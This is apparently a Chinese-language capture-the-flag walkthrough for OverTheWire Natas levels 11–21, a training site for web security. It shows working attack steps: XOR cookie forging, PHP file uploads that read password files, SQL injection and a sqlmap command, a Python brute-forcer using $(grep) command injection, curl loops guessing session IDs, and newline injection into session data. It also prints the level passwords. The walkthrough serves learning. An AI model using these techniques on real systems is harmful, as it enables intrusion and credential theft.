原創: Lof_x 合天智匯

接上一篇Natas通關指南(1-10) 繼續闖關OverTheWire 是一個 wargame 網站。其中 Natas 是一個適合學習Web安全基礎的遊戲,在Natas 中,我們需要通過找到網站的漏洞獲得通往下一關的密碼。每一關都有一個網站,類似 http://natasX.natas.labs.overthewire.org,其中X是每一關的編號。每一關都要輸入用戶名(例如,level0的用戶名是natas0)及其密碼才能訪問。所有密碼存儲在 /etc/natas_webpass/中。例如natas1的密碼存儲在文件 /etc/natas_webpass/natas1中,只能由natas0natas1讀取。

網站:

overthewire.org/wargameTips:所用工具:Chrome瀏覽器;Curl;BurpSuite;SQLMapLevel 11-12Username: natas11 Password: natas11 URL: natas11.natas.labs.overthewire.org首先使用我們之前得到的密碼: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登錄natas11,得到一句提示:
  1. Cookies are protected with XOR encryption

還有一個可以設置背景顏色的輸入框,輸入16進位的色值,即可設置網頁背景顏色,同樣可以通過點擊 Viewsourcecode查看源碼。關鍵代碼如下:
  1. $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
  2. function xor_encrypt($in) {
  3. $key = <censored>;
  4. $text = $in;
  5. $outText = ;
  6. // Iterate through each character
  7. for($i=0;$i<strlen($text);$i++) {
  8. $outText .= $text[$i] ^ $key[$i % strlen($key)];
  9. }
  10. return $outText;
  11. }
  12. function loadData($def) {
  13. global $_COOKIE;
  14. $mydata = $def;
  15. if(array_key_exists("data", $_COOKIE)) {
  16. $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
  17. if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
  18. if (preg_match(/^#(?:[a-fd]{6})$/i, $tempdata[bgcolor])) {
  19. $mydata[showpassword] = $tempdata[showpassword];
  20. $mydata[bgcolor] = $tempdata[bgcolor];
  21. }
  22. }
  23. }
  24. return $mydata;
  25. }
  26. function saveData($d) {
  27. setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
  28. }
  29. $data = loadData($defaultdata);
  30. if(array_key_exists("bgcolor",$_REQUEST)) {
  31. if (preg_match(/^#(?:[a-fd]{6})$/i, $_REQUEST[bgcolor])) {
  32. $data[bgcolor] = $_REQUEST[bgcolor];
  33. }
  34. }
  35. saveData($data);
  36. ?>
  37. <h1>natas11</h1>
  38. <div id="content">
  39. <body stylex="background: <?=$data[bgcolor]?>;">
  40. Cookies are protected with XOR encryption<br/><br/>
  41. <?
  42. if($data["showpassword"] == "yes") {
  43. print "The password for natas12 is <censored><br>";
  44. }
  45. ?>

從代碼可以看出,通過一些列的編碼,包括 base64加密, php異或運算。把用戶輸入的數據編碼進 cookie裡面。通過瀏覽器可以查看到data這個值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword這個參數決定了我們是否能看到下一關密碼。代碼中有個 censoredkey,這個是 php用來做異或運算加密用到的 key,我們需要先算出這 key值,然後用這個值作為 key進行運算和一些列編碼,計算出新的 cookie傳入,即可得到下一關的密碼。

key值計算:

  1. <?php
  2. $orig_cookie = base64_decode(ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw);
  3. function xor_encrypt($in) {
  4. $text = $in;
  5. $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
  6. $out = ;
  7. for($i=0;$i<strlen($text);$i++) {
  8. $out .= $text[$i] ^ $key[$i % strlen($key)];
  9. }
  10. return $out;
  11. }
  12. echo xor_encrypt($orig_cookie);
  13. ?>

得到的結果是 qw8J計算新的Cookie:
  1. <?php
  2. $defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
  3. function xor_encrypt($in) {
  4. $key = qw8J;
  5. $text = $in;
  6. $out = ;
  7. // Iterate through each character
  8. for($i=0;$i<strlen($text);$i++) {
  9. $out .= $text[$i] ^ $key[$i % strlen($key)];
  10. }
  11. return $out;
  12. }
  13. function loadData($def) {
  14. $mydata = $def;
  15. $tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
  16. return $mydata;
  17. }
  18. echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
  19. ?>

結果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,傳入新的Cookie:
  1. curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
  2. HTTP/1.1 200 OK
  3. Date: Mon, 27 Aug 2018 13:40:47 GMT
  4. Server: Apache/2.4.10 (Debian)
  5. Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
  6. ......
  7. Cookies are protected with XOR encryption<br/><br/>
  8. The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>
  9. ......

得到密碼。Level 12-13Username: natas12 URL: natas12.natas.labs.overthewire.org

登錄natas12,可以看到是一個上傳文件功能:

  1. Choose a JPEG to upload (max 1KB):

提示可以上傳圖片,最大不超過1kB,點擊 Viewsourcecode查看源碼,關鍵代碼如下:
  1. <?
  2. function genRandomString() {
  3. $length = 10;
  4. $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
  5. $string = "";
  6. for ($p = 0; $p < $length; $p++) {
  7. $string .= $characters[mt_rand(0, strlen($characters)-1)];
  8. }
  9. return $string;
  10. }
  11. function makeRandomPath($dir, $ext) {
  12. do {
  13. $path = $dir."/".genRandomString().".".$ext;
  14. } while(file_exists($path));
  15. return $path;
  16. }
  17. function makeRandomPathFromFilename($dir, $fn) {
  18. $ext = pathinfo($fn, PATHINFO_EXTENSION);
  19. return makeRandomPath($dir, $ext);
  20. }
  21. if(array_key_exists("filename", $_POST)) {
  22. $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
  23. if(filesize($_FILES[uploadedfile][tmp_name]) > 1000) {
  24. echo "File is too big";
  25. } else {
  26. if(move_uploaded_file($_FILES[uploadedfile][tmp_name], $target_path)) {
  27. echo "The file <a href="$target_path">$target_path</a> has been uploaded";
  28. } else{
  29. echo "There was an error uploading the file, please try again!";
  30. }
  31. }
  32. } else {
  33. ?>
  34. <form enctype="multipart/form-data" action="index.php" method="POST">
  35. <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
  36. <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
  37. Choose a JPEG to upload (max 1KB):<br/>
  38. <input name="uploadedfile" type="file" /><br />
  39. <input type="submit" value="Upload File" />

通過閱讀代碼,可以發現除了限制文件大小和文件擴展名做了前端限制之外,並沒有檢測文件類型。而且還會返回上傳後的路徑,那我們直接上傳一個 php文件去讀取 natas13的密碼即可。你可以通過 BurpSuite之類的工具修改上傳的 filename後綴即可。
  1. ///getpass.php
  2. <?php
  3. $getpass = file_get_contents(/etc/natas_webpass/natas13);
  4. echo $getpass;
  5. ?>

得到密碼: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbYLevel 13-14Username: natas13 URL: natas13.natas.labs.overthewire.org頁面和前一關一樣,不過查看源代碼發現這一次限制了文件類型,通過 php的函數 exif_imagetype() 來驗證文件類型,通過查看php的文檔,這個函數通過檢查文件的簽名(第一個位元組),從而檢測文件類型。關鍵代碼如下:

  1. } else if (! exif_imagetype($_FILES[uploadedfile][tmp_name])) {
  2. echo "File is not an image";
  3. } else {
  4. if(move_uploaded_file($_FILES[uploadedfile][tmp_name], $target_path)) {
  5. echo "The file <a href="$target_path">$target_path</a> has been uploaded";
  6. } else{
  7. echo "There was an error uploading the file, please try again!";
  8. }
  9. }
  10. } else {

那我們只需在上傳的 php文件中加入任意圖片格式文件頭標識即可,比如 GIF98a
  1. GIF89a
  2. <?php
  3. $getpass = file_get_contents(/etc/natas_webpass/natas14);
  4. echo $getpass;
  5. ?>

上傳後訪問返回的路徑,得到密碼: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1Level 14-15Username: natas14 URL: natas14.natas.labs.overthewire.org訪問後,是一個登錄頁面,需要輸入 usernamepassword,查看代碼,關鍵代碼:
  1. <?
  2. if(array_key_exists("username", $_REQUEST)) {
  3. $link = mysql_connect(localhost, natas14, <censored>);
  4. mysql_select_db(natas14, $link);
  5. $query = "SELECT * from users where username="".$_REQUEST["username"]."" and password="".$_REQUEST["password"].""";
  6. if(array_key_exists("debug", $_GET)) {
  7. echo "Executing query: $query<br>";
  8. }
  9. if(mysql_num_rows(mysql_query($query, $link)) > 0) {
  10. echo "Successful login! The password for natas15 is <censored><br>";
  11. } else {
  12. echo "Access denied!<br>";
  13. }
  14. mysql_close($link);
  15. } else {
  16. ?>

很明顯的 SQL注入漏洞,沒有任何過濾,直接試試萬能密碼: " OR 1=1 #注入成功,得到密碼: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15-16

Username: natas15 URL: natas15.natas.labs.overthewire.org頁面需要輸入一個 username,可以點擊 Checkexistence查詢用戶是否存在,關鍵代碼如下:
  1. <h1>natas15</h1>
  2. <div id="content">
  3. <?
  4. /*
  5. CREATE TABLE `users` (
  6. `username` varchar(64) DEFAULT NULL,
  7. `password` varchar(64) DEFAULT NULL
  8. );
  9. */
  10. if(array_key_exists("username", $_REQUEST)) {
  11. $link = mysql_connect(localhost, natas15, <censored>);
  12. mysql_select_db(natas15, $link);
  13. $query = "SELECT * from users where username="".$_REQUEST["username"].""";
  14. if(array_key_exists("debug", $_GET)) {
  15. echo "Executing query: $query<br>";
  16. }
  17. $res = mysql_query($query, $link);
  18. if($res) {
  19. if(mysql_num_rows($res) > 0) {
  20. echo "This user exists.<br>";
  21. } else {
  22. echo "This user doesnt exist.<br>";
  23. }
  24. } else {
  25. echo "Error in query.<br>";
  26. }
  27. mysql_close($link);
  28. } else {
  29. ?>

這一關,頁面不會返回SQL結果。但可以通過錯誤提示判斷查詢的結果,所以可以使用SQL盲注,可以使用 LIKE表達式用通配符按個判斷。這裡我們直接用 sqlmap好了。
  1. sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

或者寫python腳本獲取密碼,得到密碼 WaIHEacj63wnNIBROHeqi3p9t0m5nhmhLevel 16-17Username: natas16 URL: natas16.natas.labs.overthewire.org這一關和第9關,第10關很像,不過過濾了更多的字元

頁面提示 Forsecurity reasons,we now filter even more on certain characters,頁面功能是 Findwords containing:,需要輸入一些內容,然後搜索,然後會輸出一些內容。關鍵代碼如下:

  1. $key = "";
  2. if(array_key_exists("needle", $_REQUEST)) {
  3. $key = $_REQUEST["needle"];
  4. }
  5. if($key != "") {
  6. if(preg_match(/[;|&`"]/,$key)) {
  7. print "Input contains an illegal character!";
  8. } else {
  9. passthru("grep -i "$key" dictionary.txt");
  10. }
  11. }
  12. ?>

雖然過濾了很多字元,但是沒有過濾 $()。我們知道PHP里的 $()即使在引號內也可以使用,所以我們可以構造注入語言 $(grep a/etc/natas_webpass/natas17),執行的語句是這樣的: passthru("grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt");所有的單詞都被返回了。 我們知道 dictionary.txt中存在字元串,比如說 A,用它與 $(grep)的返回值相加,如果內層返回了結果將檢索出空值,如果返回空值則外層的 grep會返回結果 。 比如說:如 password中首字母為 a,構成grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由於內部的 $()命令返回了 a,則使外層命令變為grep-I"aA"dictionary.txt由於 dictionary中沒有 aA,從而返回空值 而如果內層 $()命令返回空值,外層則能正確檢索到 A,於是返回值,證明首字母不是 a按照這個原理可以構造出爆破腳本
  1. import requests
  2. chars = 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
  3. exist =
  4. password =
  5. target = http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/
  6. trueStr = Output:
    <pre>
    </pre>
  7. for x in chars:
  8. r = requests.get(target+?needle=$(grep +x+ /etc/natas_webpass/natas17)Getpass)
  9. if r.content.find(trueStr) != -1:
  10. exist += x
  11. print Using: + exist
  12. for i in range(32):
  13. for c in exist:
  14. r = requests.get(target+?needle=$(grep ^+password+c+ /etc/natas_webpass/natas17)Getpass)
  15. if r.content.find(trueStr) != -1:
  16. password += c
  17. print Password: + password + * * int(32 - len(password))
  18. break

得到密碼是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cwLevel 17-18Username: natas17 URL: natas17.natas.labs.overthewire.org

natas15,不過沒有錯誤提示,所以可以用基於時間的盲注。

得出的密碼是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdPLevel 18-19Username: natas18 URL: natas18.natas.labs.overthewire.org提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.同樣有一個登錄框,可以輸入 usernamepassword。關鍵代碼如下:
  1. $maxid = 640; // 640 should be enough for everyone
  2. function isValidAdminLogin() { /* {{{ */
  3. if($_REQUEST["username"] == "admin") {
  4. /* This method of authentication appears to be unsafe and has been disabled for now. */
  5. //return 1;
  6. }
  7. return 0;
  8. }
  9. /* }}} */
  10. function isValidID($id) { /* {{{ */
  11. return is_numeric($id);
  12. }
  13. /* }}} */
  14. function createID($user) { /* {{{ */
  15. global $maxid;
  16. return rand(1, $maxid);
  17. }
  18. /* }}} */
  19. function debug($msg) { /* {{{ */
  20. if(array_key_exists("debug", $_GET)) {
  21. print "DEBUG: $msg<br>";
  22. }
  23. }
  24. /* }}} */
  25. function my_session_start() { /* {{{ */
  26. if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
  27. if(!session_start()) {
  28. debug("Session start failed");
  29. return false;
  30. } else {
  31. debug("Session start ok");
  32. if(!array_key_exists("admin", $_SESSION)) {
  33. debug("Session was old: admin flag set");
  34. $_SESSION["admin"] = 0; // backwards compatible, secure
  35. }
  36. return true;
  37. }
  38. }
  39. return false;
  40. }
  41. /* }}} */
  42. function print_credentials() { /* {{{ */
  43. if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
  44. print "You are an admin. The credentials for the next level are:<br>";
  45. print "<pre>Username: natas19
    ";
  46. print "Password: <censored></pre>";
  47. } else {
  48. print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
  49. }
  50. }
  51. /* }}} */
  52. $showform = true;
  53. if(my_session_start()) {
  54. print_credentials();
  55. $showform = false;
  56. } else {
  57. if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
  58. session_id(createID($_REQUEST["username"]));
  59. session_start();
  60. $_SESSION["admin"] = isValidAdminLogin();
  61. debug("New session started");
  62. $showform = false;
  63. print_credentials();
  64. }
  65. }
  66. if($showform) {
  67. ?>

從代碼上來看,沒有連接資料庫,說明不是 sql注入,但是我們注意到有一個變數 maxid,在 createID函數中,接收用戶名請求,並將其分配給 1640($maxid)之間的隨機整數。然後它將其初始化為 session_id。假設 PHPSESSID是來自 session_id的賦值,意味有1個會話ID分配會分配給「admin」。通過瀏覽器請求,我們發現 PHPSESSID的值確實是來自變數 maxid產生的 session_id值。所以我們只要窮舉 maxid的值就好了。可以用 Burpsuite爆破這個值,然後把它作為 PHPSESSID發送請求,即可得到密碼。密碼為 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs如果嫌 Burpsuite太麻煩,用 shell腳本也可輕鬆搞定

  1. for i in `seq 640`
  2. do
  3. echo $i
  4. curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
  5. done

Level 19-20Username: natas19 URL: natas19.natas.labs.overthewire.org提示是這樣的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一關一樣,只不過 PHPSESSID不再那麼簡單容易猜到而已。通過觀察,發現其 PHPSESSID,雖然一長串字元串,如 3237362d61646d696e,通過16進位解碼發現,都是由 3位數字-admin組成的,也就是說後面的 2d61646d696e是不變的。所以我們只需要窮舉 1-640之間的數字然後拼接 -admin做16進位轉換,再帶入 PHPSESSID中進行提交,就能找到那個屬於 adminPHPSESSID。最後得到的密碼是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABFLevel 20-21Username: natas20 URL: natas20.natas.labs.overthewire.org登錄後,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以輸入 Yourname,然後點 Changename,不過無論你輸入什麼頁面都沒有任何信息反饋給你。查看源碼,關鍵代碼如下:
  1. <?
  2. function debug($msg) { /* {{{ */
  3. if(array_key_exists("debug", $_GET)) {
  4. print "DEBUG: $msg<br>";
  5. }
  6. }
  7. /* }}} */
  8. function print_credentials() { /* {{{ */
  9. if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
  10. print "You are an admin. The credentials for the next level are:<br>";
  11. print "<pre>Username: natas21
    ";
  12. print "Password: <censored></pre>";
  13. } else {
  14. print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
  15. }
  16. }
  17. /* }}} */
  18. /* we dont need this */
  19. function myopen($path, $name) {
  20. //debug("MYOPEN $path $name");
  21. return true;
  22. }
  23. /* we dont need this */
  24. function myclose() {
  25. //debug("MYCLOSE");
  26. return true;
  27. }
  28. function myread($sid) {
  29. debug("MYREAD $sid");
  30. if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
  31. debug("Invalid SID");
  32. return "";
  33. }
  34. $filename = session_save_path() . "/" . "mysess_" . $sid;
  35. if(!file_exists($filename)) {
  36. debug("Session file doesnt exist");
  37. return "";
  38. }
  39. debug("Reading from ". $filename);
  40. $data = file_get_contents($filename);
  41. $_SESSION = array();
  42. foreach(explode("
    ", $data) as $line) {
  43. debug("Read [$line]");
  44. $parts = explode(" ", $line, 2);
  45. if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
  46. }
  47. return session_encode();
  48. }
  49. function mywrite($sid, $data) {
  50. // $data contains the serialized version of $_SESSION
  51. // but our encoding is better
  52. debug("MYWRITE $sid $data");
  53. // make sure the sid is alnum only!!
  54. if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
  55. debug("Invalid SID");
  56. return;
  57. }
  58. $filename = session_save_path() . "/" . "mysess_" . $sid;
  59. $data = "";
  60. debug("Saving in ". $filename);
  61. ksort($_SESSION);
  62. foreach($_SESSION as $key => $value) {
  63. debug("$key => $value");
  64. $data .= "$key $value
    ";
  65. }
  66. file_put_contents($filename, $data);
  67. chmod($filename, 0600);
  68. }
  69. /* we dont need this */
  70. function mydestroy($sid) {
  71. //debug("MYDESTROY $sid");
  72. return true;
  73. }
  74. /* we dont need this */
  75. function mygarbage($t) {
  76. //debug("MYGARBAGE $t");
  77. return true;
  78. }
  79. session_set_save_handler(
  80. "myopen",
  81. "myclose",
  82. "myread",
  83. "mywrite",
  84. "mydestroy",
  85. "mygarbage");
  86. session_start();
  87. if(array_key_exists("name", $_REQUEST)) {
  88. $_SESSION["name"] = $_REQUEST["name"];
  89. debug("Name set to " . $_REQUEST["name"]);
  90. }
  91. print_credentials();
  92. $name = "";
  93. if(array_key_exists("name", $_SESSION)) {
  94. $name = $_SESSION["name"];
  95. }
  96. ?>

我們來看看每個函數的作用:

debug($msg)表示打開了調試信息,可以通過在URL的末尾添加 /index.php?debug來查看調試消息 $msg

訪問之後將看到一些提示,類似這樣的:
  1. DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
  2. DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
  3. DEBUG: name => admin

可以看出,登錄之後, $ _SESSION的值被存儲在一個文件中。重點在 mywritemyread這兩個關鍵函數,它們的作用是管理會話狀態。默認情況下, $ _SESSION中唯一的 keyname,其值通過 /index.php中的表單提交進行設置。我們可以通過對 name鍵值對進行注入:將 data裡面的值變為: name xxxx
admin1
。對換行符編碼然後提交:
  1. http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

再次訪問 http://natas20.natas.labs.overthewire.org即可得到密碼
  1. You are an admin. The credentials for the next level are:
  2. Username: natas21
  3. Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

未完待續......

(如需轉載請註明出處)


推薦閱讀:
相关文章